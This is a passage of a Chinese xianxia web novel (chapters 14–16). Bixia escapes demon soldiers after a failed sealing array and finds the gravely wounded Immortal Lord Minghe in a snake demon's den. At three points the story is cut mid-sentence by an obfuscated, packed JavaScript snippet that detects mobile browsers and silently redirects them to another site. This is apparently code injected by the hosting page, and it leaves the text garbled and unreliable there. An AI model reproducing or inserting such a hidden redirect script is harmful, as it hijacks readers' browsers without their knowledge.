李元通速度极快,此刻已经近接了天钺封魔阵,脚底的三尺青锋将嵌在剑柄处的几颗灵石燃尽。 现在追着过去,完全就是送死,也保不了封印。碧霞想要立功,但不会随便将自己的命搭上。 两人互相望着,沈槐安怔愣地看着女人的眼睛,像是不知所措。碧霞便伸手,扣住他的下颌,将他的目光移向半空中那些飞奔过来的魔兵。 人数差距太过悬殊,杀得了一千,杀不了一万。 “没有时间了——”她瞪着眼睛,如恶鬼般催促。 沈槐安像是被泼了盆冷水,终于回过神。 他知道后果,但或许是抛弃同伴,临阵脱逃的道德束缚太过巨大,被所有目光盯着时,他脑子发热,变得有些糊涂。 所幸碧霞拉住了他,将他解救了出来。沈槐安有些恍惚地闭了闭眼睛,同时沉痛地点点头。 朱雀向着反方向飞远,身后传来杀伐声。 14. 第 14 章 如预料中那般,这批魔兵强大得超过普通魔类,没一会儿就追上了碧霞他们。 朱雀带他们飞到了一片高大绵延的山脉上方,月夜下,群山覆盖着苍暗的黛色。碧霞像一根瘦瘦的杆子那样立在群山上,冷冷注视那些如狼似虎飞奔而来的魔兵。 他们青灰色的头颅上生着奇形怪状的犄角,身材比一个正常男性高大健壮许多,像是结合了魔兽的血脉。 粗大指节握着的长戟上,插着几颗血淋淋的头颅,有的脸只剩半边,有的被剥了皮,那都是神辉宗的弟子。 死去的李元通睁着一双空洞的眼眶,里面的眼珠已经不翼而飞。 还有另外几张碧霞并不熟悉的面孔,额头上全都勒着被血染得斑驳的黄绦抹额,这是仙盟的标志。只能暂时确定是仙盟的人。 但碧霞忽然想起,明河仙尊的几个亲传弟子头上也有这种打扮。 沈槐安先前告诉她,仙尊收徒不问出身,有几个仙盟的年轻俊才对修真界贡献良多,又想要拜入仙尊门下,他便带他们回了月留殿。 “那几个——”她转过头,想要向沈槐安确认一下,却看见他的脸色惨白到了极致。 沈槐安无力地垂下双臂,困难地将头一点:“是,那几个戴着抹额的都是仙尊的弟子。” 魔兵中间有高手,并且是绝顶的高手,才能一下将几个天赋出众的少年尽数送入黄泉。 沈槐安猜测着,或许这样的高手有好几个,或许就藏在追逐着他们的这群魔兵中间,但他永远也猜不到这几个少年死前的绝望与困惑。不止是经脉被抽出,被活生生扯断四肢那么简单,最后亲手将他们头颅摘下的,是一个和他们师尊面容有着七分相像的魔头。 朱雀在一座座山峰间穿行,夜风阵阵,他们仿佛倚仗着一叶孤舟,被草草地放逐到海的中心。 魔兵越来越近,朱雀却因为对地形的不熟悉,飞行的姿态逐渐慌乱。 一种愤怒,一种恐慌,逐渐在碧霞心底酝酿。 她对魔物没有天然的恨,偶尔也认为修士除魔不过是冠以正义的借口,二者不过都依循本性相杀。 但魔物对待修士那种残忍的手法,却是修士做不出来的。 这变得一点也不公平。 碧霞用体内的灵气凝聚出一柄长弓,对准魔物。心中默念着娲皇灵功的第一式的心法口诀,将浑身经脉无形地缠绕在弓弦之上。 那一根透明的弦仿佛饱纳了月光,颤出道道涟漪般的灵纹。碧霞勾住往后拉,全身的经脉也随之绷紧。 魔物见她作势攻击,哗啦一下,举起手中的兽纹铁盾挡在身前。 灵箭凝聚在指尖,蓄势待发,碧霞却陡地将箭矢往上移。 天穹高远,冥冥无际,一箭贯透,万星洒落。灵光如雪粒般纷纷然降下,将为首十几只魔类的脑袋轰然炸得粉碎。 糜红的肉块飞溅到同类的身上,铁盾上乌黑的血液淋漓。他们沉重的身子坠往下方黑海般的密林,连同着几只挂着修士脑袋的长戟。 数了数,也就杀了十三只。碧霞沮丧地叹了口气,面对黑压压的魔兵数量,这不过是杯水车薪。 她正要再来,几名散修支撑着一个将所有人护住的屏障,感到疑惑:“那些魔兵为什么不攻击我们?” 只是一个劲地追着他们跑,眼冒精光,像饿肚子的野兽。 碧霞想起红雾中举起来的那只手,慵懒,从容地发号施令,猜测说道:“估计是魔头给他们下了的活捉命令。” “你说得有点吓人。”男修自嘲地笑了一声,面露无奈,“如果我被抓住,劳烦各位先魔兵一步把我送走。” 碧霞正要答应他,魔兵却忽然发动了攻击,火芒飞至,像一阵急促骤雨,将屏障上的灵气打得稀稀落落。 挨过这一阵后,他们立即还手,碧霞利用轻功腾至半空,与沈槐安合发一道寒冰剑阵,又击落数十魔兵。 一番隔空斗法,谁都没有占到便宜,反而魔兵离他们的距离越来越近。 碧霞察觉到不对,匆匆地回头看了一眼。朱雀累了,它原本往前挺直的脖子和脑袋,这时候以一个不大不小的幅度垂耷了下来,翅膀毫无规律,时快时慢地拍打着。 灵兽是一种比修士要娇贵许多的生物,本质是动物,生于恶土则为妖为魔,生于宝地则为仙为灵。在魔界这样的环境中,朱雀自然力有不逮。 碧霞喘着粗气,她想起芥子袋里还有半块紫灵石,将里面的灵气输送给朱雀应能多撑一段时间。 正要过去,这时,一柄闪着银光的长枪忽然从侧面切过来,擦着碧霞的脸颊,将她脸上的面纱瞬间勾下。 “当心!”沈槐安惊慌的喊声响起,急忙甩过来手中折扇,和长枪交持。 瞬息之间,两样武器便在碧霞面前斗了数招,碰出的火星有几颗不慎飞进她的眼睛里。 碧霞低嘶了一声,捂着眼睛,连连后退至朱雀的颈部。她将手探入腰间云香色囊袋,摸出那枚有些褪色的紫灵石。 折扇像灵活的游蛇,卡进长枪镂空的缝隙间,将枪头一下挣断成两半。 这一头斗着,魔兵淬毒的箭矢又从头顶倾落,几位散修分身乏术。 沈槐安独对着那头持枪的魔物,后者转而用拳头将那柄折扇打散,檀木扇骨和黑白分明的扇面碎成几块,零落在茂盛的羽毛丛间,沈槐安两步飞跨过去,掌心凝气,贴着魔类厚实的胸膛轰出一掌。 一道经过紫阳骨加持的掌劲,将魔类的心脏规规整整地打飞出了身体。那颗足有婴儿脑袋大小的强劲心脏抛在半空时,还在往外泵出血液。 魔物瞪大青灰色的眼睛,难以置信地看着自己胸前的窟窿。他摇摇欲坠,挤出最后的力气,将缺了半边的长枪往下一送。 碧霞捏碎灵石,将大团菁纯的紫色灵气灌入朱雀脑袋,同时蹲下身,抚摸着朱雀的羽毛,一边安抚一边帮它调息,试图让它快点消化这股灵气。 她想着沈槐安一个人对付一个魔兵不成问题,没想到,朱雀忽然引颈惨叫,宽大的身体大幅度痉挛抽搐起来起来,将碧霞差点晃下去。 她扶住朱雀粗壮的脖子,胆战地回头。沈槐安将魔兵尸体扔下山谷后,看着那柄斜插在朱雀背上的长枪,咬唇自责:“啧,大意了……” 枪扎得很深,血一下从伤口里冒出来,像水在布料上快速洇开,深红的血液夺去了朱羽华丽的光彩。 朱雀扯着嗓子痛苦哀鸣,身体逐渐失平衡,往下倾斜,身下是密林浓雾,像一方值得期待的柔软巢穴。 “你们在搞什么?”察觉不对,散修们回头,便看见这副场景,大惊道:“还不快给朱雀止血?!” “枪上应该有毒吧?”碧霞半跪在朱雀身上,紧紧地抱着它的后颈,像抱着一名生命垂危的孩子。 沈槐安垂眸点头,“对。”,毒藏在枪柄里,枪刃一入肉,毒液便涌出来。 这种情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925546|192644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反而不能一味地止血,要把毒血放出。但是,他们都知道,就算最后把血放光也无济于事,解毒需要解药。 就算保下朱雀一命,他们也完全不能依靠朱雀逃出生天了。 沈槐安猛地旋身,从身上抽出一柄寒光熠熠的宝剑,走向那群离他们只剩不到十丈距离的魔兵。 “我掩护你们,往森林里逃,利用复杂的地形或许能摆脱魔兵追击。” “那你呢?” “我会多杀几个魔兵。”剑光斜照着他一侧的眉眼,映着眼底汹涌的灵光。 碧霞望着沈槐安凛然的气势,一时愕然,他是打算用自己的命为他们断后了。 他有一种与先前气质截然不同的狂傲。 纵使所有人都知道,沈槐安留下来大概率会被魔族吞吃入腹,但他似乎并不打算说什么遗言。 只是密林难测,或许更为诡谲凶险,闯入后能活命的几率又有多少? 碧霞走到那杆长枪旁,朱雀伤口内涌出的血液变得污糟糟的,一团团黑色的血块冒着腥苦的气味。 她从储物袋中找出几瓶清毒的药粉,在伤口周围厚厚地撒了一层,然后握着枪柄,将没入皮肉的整个枪头利落地拔出。 朱雀再次痛苦地长啸,翅膀忽然缩紧了,贴向身体两侧,直冲向前方弥漫着瘴雾的沼泽林。 碧霞想活命,但她不是贪生怕死的小人,生的机会已然渺茫,不如便死得漂亮些。 她的思绪轻飘飘的,顷刻决定好了自己的命运。修士纵使爱惜生命,面临死亡时也不似凡人般痛哭流涕。 “我和你留下,多杀几个魔兵。”她趴在鸟背上,对正在蓄气的沈槐安说道 谁知沈槐安却忽然回头,用一道严厉的目光回绝她:“不行!” 碧霞困惑地顿住:“嗯?” “你是娲皇垢灵体,死在这太可惜了,为了嘉应宗也要尽可能活下去。” “就因为这个?”碧霞像是觉得好笑,摇了摇头,“可是我们活下来的概率并不大。” “你是天才。”沈槐安沉着一张脸,理所当然道:“凭什么觉得自己不能活?” 在修真界,天赋胜过所有家世和努力。就算是出身最不堪的天才,也可以凌视身份尊贵但资质平庸的世族子弟。 那种天命眷顾般的傲气,不因贫贱而有所动摇。别人无法肖想的,她要得到,别人脱不出的困境,她要活生生杀出血路。 但青霄却常常使沈槐安看不懂,她身上没有天才的傲与自得。有时甚至过于谨小慎微,不知是性格使然,还是被折断过傲骨。 又一阵急促的火芒嗖嗖打在散修们撑起的屏障上,沈槐安凌空而起,朝着魔兵甩出一道剑气。 波光般薄利的剑气在兽纹铁盾上留下道道冰隙裂痕,割断了两只魔兵的脖子。 剑气带动的寒风刮在头顶上,碧霞大概有些明白沈槐安的意思,他觉得她身为所谓的天才,运气会比他们好一些,因此也应该多挣扎一下。 碧霞无法理解他的笃定,但也不得不承认,沈槐安的话确实给她灌输了几分信心。 回头看了一眼,后背几乎已经是密林,朱雀往下栽倒,像一枚身不由己的织梭。 “姑娘,你先走吧,你活下来的概率肯定比我们大。”那几名散修也劝道。 碧霞叹了口气,她手掐法诀,在朱雀的脑袋附近为它设下一道屏障,然后便纵身而下,“各位,后会有期。” 15. 第 15 章 碧霞落到落叶堆积的林地上,用尽所有力气往密林深处逃窜。 身后掀起翻天般的震响声,她留下的屏障暂时保护了朱雀,它摔在那片沼泽地里时,不至于被下面错综复杂的树木扎穿身子。 如果它能保有一丝生息,如果她能成功逃脱魔兵的追击,或许她会回来这里。 朱雀是灵兽不是修士,或许魔兵能看在它奄奄一息的份上放它一马,碧霞不抱希望地想。 血月悬刻在影影绰绰,宛如鬼魅般扭曲横生的杂乱林木后。 刚翻过一个小荒坡,沈槐安的惨叫声就从身后的树林传来,碧霞双唇颤抖,痛心地将眼睛一闭。 魔气像游走的毒蛇在身后紧追不舍,急急忙忙地索命,先于那些被沈槐安阻拦的魔兵向她袭来,碧霞用掌气轰散几处,眸中充满恨意。 她往右手边望去,那里显然是更复杂的地形,草木森森,不盈月华,像张坚实的黑网。于是她跃上一处低枝,如猿猴般轻巧无声地钻了进去。 进去了,仿佛进到一方黑铁笼子里。脚下是软烂冰冷的泥地,鼻尖浮荡着药味的冷雾。 周遭漆黑得没有一丝光线落到地上,只有抬头才能望见几块残破的微微泛一点橙色的天空。 她不敢用灵力照明,容易暴露位置,还会蒙蔽她注意周围动静的视线。 碧霞只能摸索着巨大的树影前进,湿漉漉的藤枝不停扫到脸上,像动物的尾巴或者舌头,让她觉得危险又恶心。 丹田里的寒气仿佛抓住了机会,急不可耐地冒出来,往四肢和指头蔓延,让逃跑时变得燥热的身体逐渐冷却。 碧霞的心脏依旧在狂跳着,此刻的她庆幸自己没受什么伤,除了耗费太多灵力去启动天钺封魔阵。 这大概也是他们如此被动的原因。 她用出的那一招娲皇灵功威力实在弱得不像话,即使她剩下的灵力足够匹配灵功剩下的招式,但她却没办法再用第二招、第三招。很多功法,发挥出的威力和需要调运的气息并不匹配,娲皇灵功正是这种。 这是自古便流传下来,匹配娲皇垢灵体的一套功法,也是碧霞压箱底的武学。 灵功的运用,需要一个饱满的,强韧的气海,正如利箭需要粗韧的弓弦才能发挥全部威力。气海虚亏,等于被废了半套武功。 不知这是否是娲皇垢灵体命定的缺点,碧霞花了三年也没弄懂,更无从解决。母亲说,在她惹下大祸之后,她从前的师傅早已出宗远游了。 身后,总有些不安的气息,催促着碧霞盲目大步往前走。 她深一脚浅一脚,衣袍鞋袜尽湿,想到那个已经夭折的封魔阵,又是一阵惋惜。 原先的阵法已经消失,而新的阵法又未落成,两界通道大开,修真界或许将有一劫。 继而,她想到了明河。 事情失败,他应是无法逃避责任,纵使他是仙尊。碧霞的心蓦地揪紧起来,不知会有什么样的惩罚等着他。 越往深处走,越能时不时看见几团冷萤蛰伏在草间,偶尔听见一阵蛙鸣虫叫,周遭渐渐有了几分生机。 碧霞停下脚步,回头望了一眼,一片拨不开的黑暗,只依稀能看到雾气被她带动,缓缓浮游起来的轮廓。 她继续往前走,没一会儿就啪嗒一脚踩进了水里。往水中抛下一丝流光,两三条碧青的小蛇被惊扰,从她面前纠缠着匆匆游过。 水很清,刚好没过脚踝,底部铺着一层厚绒的水草。碧霞弯腰将裙摆上的污泥搓洗干净,也弄浑了一汪浅碧。 她涉水而过,来到另一边的岸上,用真气将衣袍快速烘干。 雾到这里便没有了,空气不再如先前那般阴冷。碧霞凝出一簇拇指大小的灵火,另一只手虚虚地笼在身前。 魔界的树木阴森高大,碧霞离开了沼泽,像从铁笼走入另一座更大的牢笼,天是看不见的,或许已经黑得和那些乱长的树冠融为一体。 树后闪现过一双双发光的眼睛,是些不知名的鸟兽,时不时在灌木和树冠间窜出动静,似乎一路跟着她,对陌生的闯入者感到警惕与好奇。 碧霞倒是不怕什么小动物,只是林中肯定少不了魔兽毒蛇这些令人防不胜防的东西。 下了一个缓坡,她便停了下来,打算暂时躲藏在这里。 坡是土坡,只稀稀落落生着几棵车前草,倒是坡顶有一株四五人合抱的巨木,像是将整片小坡的生机吸收殆尽了一般。 碧霞探过身去,巨木大半的树根是裸露的,密须延滴水液,将下方的泥土打湿。 她将手上的灵火往前送了送,忽然在那些又密又乱的根须下发现了一个漆黑的洞口。 啧了一声,想着肯定是蛇洞,还这老大,正要起身换地,忽听见洞内传出一道啜泣声。 说是啜泣不准确,像一个男人因为痛苦而发出的抽气声,带着抖。 碧霞不知所措地停在洞口外,似乎这个声音有些熟悉,让她的心口发痒,生出几分异样的感觉。 直觉告诉她下去看看,理智让她赶紧离开。 最终还是理智更胜一筹,深山老林,能有什么好东西,或许是蛇妖成精也说不定,碧霞告诉自己。 压下心口那种异样的感觉,拢紧火苗,正要起身离开,忽然在林外看见了几道乱晃的白光。 她倒吸凉气,当即反手掐灭灵火,矮身缩入洞中。 没一会儿,那几道白光就晃到了洞前,碧霞将全身的气息尽数收敛,试图变成一块死气沉沉的石头,膝盖却顶着洞壁,小臂绷紧挡在身前,一副警戒着,随时要出击的样子。 几只魔兵的声音由远至近,落入洞口中:“就一个修士,有必要浪费精力去追吗?” “你没发现吗,那是凤主的目标。” “哈?为什么?” “谁知道。嘁,本来以为封印终于要破了,谁知道——凤主怎么说来着?” “说是一股巨大的灵力从裂缝里冲出来,将他重伤,还补充了封魔阵缺失的灵力。” 封印成功,魔兵士气大大丧失,但也有人毫不在意:“我看魔界也待得挺舒服的,我们去不了他们那,他们也来不了我们这。” “他们来不了我们这?那恒阳山那帮是从哪冒出来的,以后魔界就是他们随意进出的茅厕!” “闭嘴,我不许你将魔界比作茅厕。” 他们一边骂着,一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936778|192644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走远,碧霞提起的肩膀缓缓沉下去,无声地松了一口气。 绷紧的弦放松下来,魔兵的话才开始在脑子里反复,听话里的意思,是天钺封魔阵已经落成了。 碧霞沮丧的心情顿时好转了不少,她想应是处于两界缝隙中的仙尊力挽狂澜了,虽然不知道他是怎么做到的,但那些死去的修士应也能安息了。 修士死后,魂识尚会在世间弥留片刻,希望他们来得及看见裂缝合起的样子。 碧霞不能继续浪费时间,她得立马回去。封印既成,他们自然也不会在魔界停留太久,晚一步,她将会被永远留在魔界。 洞穴逼仄,她抬了抬膝盖,正要往外爬,忽然意识到有什么东西缠在了她的小腿上。 凉凉的,粗韧而有力,一线灵火往下燃烧,照亮洞穴,碧霞低头看去,果然是一条盘起的大蛇。 她的惊吓声闷在喉咙里,变成一团意味不明的粘稠词句。蛇身五彩斑斓,立着脑袋,张着两片威风凛凛的脖扇子,紫红色的蛇尾缠了几圈在她腿上。 见女修要劈下气劲,蛇妖立马张口说道:“你把他带走吧,我不会和那些魔人说的。” 废话,要是把魔带到那人身前,估计它得和那些魔一起陪葬了,它的巢穴也甭想保住。 碧霞凝气的手掌顿在腰部,眉心疑惑皱起,自然没听懂,“你说什么,你是妖?” “对,我是妖。”蛇收起尾巴,紧张地在地上转了几圈,彩鳞潋滟,忽地把脑袋往旁一扭,拱了两下,像是在指路。 “就是里面……你进去看看行吗?那应该是你们自己人吧。” “什么意思,说清楚。”碧霞一边说,一边退,缩起双腿,上半身已经探出了洞穴。 蛇妖有些急:“别走啊,就是一个银色头发的男人,浑身冒着仙气呢,不是你们修士还能是谁?” 碧霞往外爬的动作霎时一顿,一张小脸愣在林中斑驳的阴影里。 这时,那种近似于啜泣的抽气声又从里面传了出来,像声音的主人在忍受痛苦。有了蛇妖这番话,碧霞忽然觉得这个声音像极了明河仙尊。 她不太记得明河的声音,至少不如脸庞那样鲜明。只是心口那种异样的感觉再次升腾起来。 碧霞放下双腿,动作还有些急,蛇妖见她回心转意,连忙让开位置。 通过一截直上直下的洞壁后,便出现了一个像小厅般的温暖空间,地面铺满了柔软的枯草,高得足够碧霞直起身。 小厅的尽头,漂浮着一圈虚幻的虹光,像烛台在昏暗下所摇曳出的光芒,但显然又比烛光更具力量。 碧霞一下认出了,那是仙尊的护体神光,原先,这道光芒璀璨得就像以直视的日晕,此刻竟弱下去不少。 而那个人正位于烛心的一点,喘着粗气,靠在墙上,一头银发倾泄如银缎,朦朦胧胧地散出月华般的光辉。 蛇妖的尾巴在枯草间钻来钻去,向她抱怨:“你看看,这人就这么忽然出现在我的洞穴里,把我吓了一跳,怪没礼貌。” 凭它的蛇眼金睛,加上几次的近身试探,很快就看出这个人实力深不可测,一时也不敢妄动,只能缩到洞穴边,任他鸠占鹊巢。 16. 第 16 章 碧霞回头,在洞口设下结界,然后,左右各一团澄盈盈的灵火燃起,照亮整个被掏空的洞穴。 这蛇妖显然很有生活意趣,洞穴四壁凿得光滑,涂了防水的生漆,顶上嵌着各类流光溢彩的宝石与鳞片,就连脚下的枯草也轧得整整齐齐。 火光照亮一切,在挂着火焰兰与紫藤萝装饰的墙角下,男人像是喝醉了酒一般,蜷缩在地面上。层层叠叠的衣袍凌乱如雪,在地上迤铺开,一只手紧紧握成拳放在身侧,指节握到泛白。 这模样,像只掉进了鸡窝里的凤凰。 蛇妖抬头颤巍巍地看一眼碧霞,用蛇尾巴打着她的脚后跟,催促她赶紧把这尊大佛抬走。 “仙尊?” 碧霞遂轻声叫了他一下,缓步过去,他的半边脸将将埋在屈起的膝盖里,浓睫垂盖着,眼眶像哭过那样,泛着红。 越走近,越确认了,这果然就是明河,她感到无法置信,“天——你怎么会出现在这里?” 碧霞在他身旁蹲下,手要落不落地停在他微微颤抖的肩背旁,整个人被担忧充斥。 察觉到来者气息的清正,男人主动抬起了脸,蹙着一对俊秀的剑眉。 那双烟蓝的眼眸依然没有凝光,聚着无法化开的灰砂色冷雾,但视线毫无疑问是落在她脸上的。 碧霞以为他在审视,便矮着身退后半步,恭恭敬敬地解释道:“弟子是嘉应宗的一名术修,被魔兵追杀到此处,没想到遇见了仙尊。” 两人虽有过短暂照面,还同乘过一只朱雀,但碧霞不保证他能记住她。 不知有没有听进耳朵里,男人脸上没有任何反应,像呆住了,只是望着她。 碧霞困惑地眨了眨眼,发觉他仍在小幅度地颤抖着。 料想他是受伤了,她低下头,将储物袋里的那些灵丹妙药一股脑全都拿了出来,堆在地上。 补气丹对修士来说是万能的灵药,不管是受伤还是灵气耗损,都需用大量补气丹稳住功体。她将装着上品鹤血补气丹几个瓷瓶划出来,亮莹莹地倒了几枚在手里,要喂他吃下去。 明河仍在看着她,看着她要凑上来又有些怕的动作,两瓣淡淡玫紫色的唇忽然低喃出一声:“痛……” “痛?”碧霞的心霎时揪起来,双手一下握住他的肩,要将他蜷缩的上半身扯开,急道:“受伤了吗,让我看看。” 男人顺从地往后躺倒,一股幽幽淡淡的松香味立即从怀里扑出来,伴随着护体神光的消隐,碧霞将真气渡入他体内。 温热的真气包裹着灵脉,一丝丝,一缕缕,沿着每一寸脉络缓缓游走,这是修真界最常用来为修士检查内伤的方法。 一名仙尊体内的灵脉比修真界所有的山川湖海加起来还要错综复杂。 碧霞不是医修,为了不对明河造成第二次伤害,手上的动作便极为缓慢,但还是很快找到了那处内伤。 因为他伤得很重。 碧霞收回了手,难以置信地抵住微微发抖的唇:“你体内的的灵脉……?” 那处位于心俞穴附近的重要灵脉,不知因何缘故,碎得跟河滩上的石头一样。 真气到了这处,便无路可去了,完全泄散在男人体内。 “药。”明河有些虚弱地抬起手,碧霞赶忙将手上的鹤血丹送过去,看他仰头吞下,盘起两条腿打坐,自顾自地调息起来。 不消片刻,他身上那种脆弱的颤抖便停止了,周身回转的气劲将那头凌乱的银发理好,一丝不苟地垂伏在身后。 伤口只是暂时压制,钻心的疼痛仍然在体内盘桓。他紧绷的神色甚至显得有些冷傲与不耐。 但好歹,那种上位者惯有的沉稳、谨重的气度再次回到了他身上。 碧霞一直担忧地看着他,她想他体内一定不止这一处内伤。 可惜她不是医修,刚刚那会儿,没办法一下用真气将他所有的伤找出来。 “是浩世镜。” 察觉到女修的目光,明河主动解释起来,“在两界裂缝中时,浩世镜将本尊的灵脉切割破碎,想要汲取从中流失出来的灵力。” “什么……”灵脉被切断,对修士来说是伴随着巨痛的重伤,碧霞眉头深深皱了起来。 “你身上还有别的伤吗?”她担心,不免多问些,倾着身显得很迫切:“让我再检查一下,我怕你——” 男人有些不高兴地看过来,与先前相比,完全换了个人,“你是医修?” “我、我不是……” “那便不劳烦了。”他将目光收回去。 碧霞哑然,也有些迷糊。那先前为何要让她探呢,还朝她喊痛。 这时,蛇妖在一旁焦急地打起了转,鳞片将枯草摩擦出沙沙声,吐着信子嘶嘶地催促她。 碧霞兀自陷在黯然失落的情绪里,自是没有注意到身后的声音。 她垂下眼眸,却看到明河的右手仍旧用力紧握着,一直没有松开,像在攥着什么。 碧霞鼓起勇气问:“仙尊,您的手痛吗?” 男人原本正在进行深度的调息,闻言,困惑地移过目光。 视线在触及身侧那只紧握的拳头后,他紧闭的双唇讶然地微微张开了一点,像是恍然大悟,或是失而复得,眸中现出一丝无法忽视的皎然神采。 那只拳头被他珍重地举到面前,控制不住般,有些激动地抖了两下。其中一根瓷白的手指试探性地动了动。 碧霞困惑地将男人的神态与动作尽收眼底,只觉得明河仿佛变成了一个小孩子,而手里攥着的是一只美丽的蝴蝶。 正好奇着,一条散发着金色光芒,质地奇特的“线”忽然从明河指缝间溜了出来。 迅捷轻然地,眨眼就飞到了半空中。 “别走!”男人霎时一慌,急匆匆从地上爬起来,追着那条线往前跑。 那线扭动的姿势极为怪异,仿佛拥有生命一样,像条剥了皮还没彻底死去的长蛇,迷茫地用最后的力气胡乱挣扎。 挣扎着,便挣扎到了洞口。 明河追着它跑了几步,在洞口处,急急地踮起脚,一伸长臂,将那条线重新握在了手里。 他沉下肩膀,庆幸般地松了口气。只是那么一小段路,额头上便全是因为痛苦而涌出的汗珠。 但无妨,金色的魂线在掌心扭动着,即使没有带来任何实质的触感,心中一股莫大的慰藉便胜过了所有。 这是他在两界缝隙间发现的一缕残魂——素月的一缕残魂。 即使他被浩世镜切断灵脉,承受巨大痛苦,又被颠颠倒倒地扔到这个鬼地方,他都下意识地没有松开手。 三百年来,他为找回她的魂魄,已遍寻过妖魔凡灵四界,没想到,最终是在四界之外的空间狭缝中头一遭地有了收获。 碧霞蹲着有些累了,顺势倒坐在旁边一枯草堆上,不解地问道:“仙尊,那是什么东西啊?” 看着怪恶心的。既不像灵力,又不像寻常的丝线。 男人自然没有闲心回答她,只将手腕翻转两下,几根节骨分明的手指便轻巧地夹持住了金线。 然后他抬起手,将线凑到了有着淡淡玫紫色,晶莹削薄的唇边—— 碧霞呆呆地看着,就见那条跟蛔虫似的东西奋力扭动,一半阴差阳错,一半身不由己,眨个眼的功夫,进了明河的嘴里。 后者缓缓闭紧了唇,额心现出一点寒芒,隐隐的金色灵纹在寒芒下浮现。 碧霞额角抽痛,莫名地有几分害怕,想要叫他的名字。 下一刻,明河忽然像被从脑后打了一闷棍,玉山倾颓般,高大的身体往前急急踉跄两步。 风流气动,洞口处的结界受到干扰,亮了一瞬。 男人半跪在地,灵力滔滔不绝地从体内爆冲出来,小小的洞穴开始摇颤,沙石簌簌抖落。 明河咬着牙,一只手攥紧胸口前的衣衫,将拳头死命地往下压。 血从嘴角溢出,鬓发滑落至身前,他恼怒地瞪起一双眼睛,神色转瞬间凶狠得像头野兽,无端端地朝空气喝斥:“给我安静!” 轰——蛇洞的一个角落瞬间坍塌下来,尘土掩盖住放在下面的一对粗糙木雕。 “哎呀……”蛇妖急得再次缠住了碧霞小腿,哀求道:“女侠,求你赶紧把他带出去吧!” “不好意思,等、等一会儿吧。” 碧霞捏着耳朵坐在一旁,大气不敢出。从未想过,素来清厚端雅的仙尊还能有这种癫狂的样子。 大概是被他的气势震慑到,碧霞才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946468|192644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注意到男人嘴角的那抹鲜血。她眨了眨眼,后知后觉,这是他体内的伤势爆发了。 像大腿被针扎了一下,碧霞从草堆上跳起来,冲过去要扶住明河。还未靠近,男人便歪着脖子,合上眼睛,往旁边缓缓地栽倒了。 “仙尊!”碧霞连忙扶起他,让他靠在自己怀里。 一探灵脉,先前吃下的鹤血补气丹全都浪费了,不只是灵脉碎得无法固气,气海也乱成一团,无数道气劲在体内翻搅不息。 必须尽快带他离开,回宗接受救治才行。 碧霞急急忙忙地将他揽在身上,正要迈步,谁知男人忽然不听话地挣扎起来,力道大得,将她也歪带在地上。 你不要动了,她转头,想教训似的稍微说上那么一句。只是定睛看后,话便被吞了回去。 男人白皙胜雪的皮肤上不知何时泛起了流动的灵光,从眉心朱砂开始,浮现出大片龟裂似的灵纹。 这些骇人的灵纹一直往下蔓延,穿过整片脸颊,脖子,锁骨,最后停在了指尖。 鲜红的血液从额间流淌下来,明河整个人似乎陷在巨大的痛苦中,身体无意识地打着颤。 碧霞不知所措地愣在一旁,只觉得男人像变成了一只发光的茧,有什么要从他体内破茧而出,而他的身体会顺着这些灵纹碎成一片一片。 内心被一种幻想带来的巨大恐惧攫住,她扑过去抱住他的胸口,下意识地喊道:“不要!” 掌心,摁住他的心口,着急忙慌地为他渡气。 所幸事情的发展不至于如想象中那么糟糕,那些流光开始从明河的皮肤上缓缓剥离,浮荡到半空中,凝成了几道灿烂的灵力河流。 河流的尽头,所有灵力在身外汇聚成一个蓝白色的光团。 不,光团是扁的,应该说这是一个光盘才对—— 如一轮圆月倾斜在两人的上方,足有一人那么宽,耀眼的光芒将整个蛇巢照得亮堂堂的。 渐渐地,碧霞的耳朵听到了一种镜子碎裂般的咔咔声,似乎就从面前的光盘里传出来。 她将双手从明河肋下穿过,快速把他往后拖了拖,同时跨到他身体的另一侧,将自己挡在他和那东西之间。 灵脉被翻来覆去地挤榨,灵力被疯狂抽取,这一切,是宛如抽筋剥皮般的痛苦。 明河将牙齿咬得咯咯作响,想要找寻倚靠般,断断续续地呢喃起来:“好痛……阿月……” 碧霞听不太清,稍稍凑近了,那个名字便像小虫般钻进耳朵里,啃噬着耳膜,让整个脑袋嗡的一下。 “不,我不是——” 她陡地直起身,绸带似的灵力流淌在头顶,投下一丝薄薄的阴影和如水凉意。 我不是素月,还是我不是故意的,碧霞张了张嘴,忽然不知道自己想说哪句。 她调整了两下错乱的呼吸,抽出身上的短刃,盯着那几条从明河身上延伸出去,一直牵连到圆盘周围的灵力。 属于一位仙尊的精纯灵力就像不要钱的流水,沿着既定路径奔流出体内,盈满整个陋室。 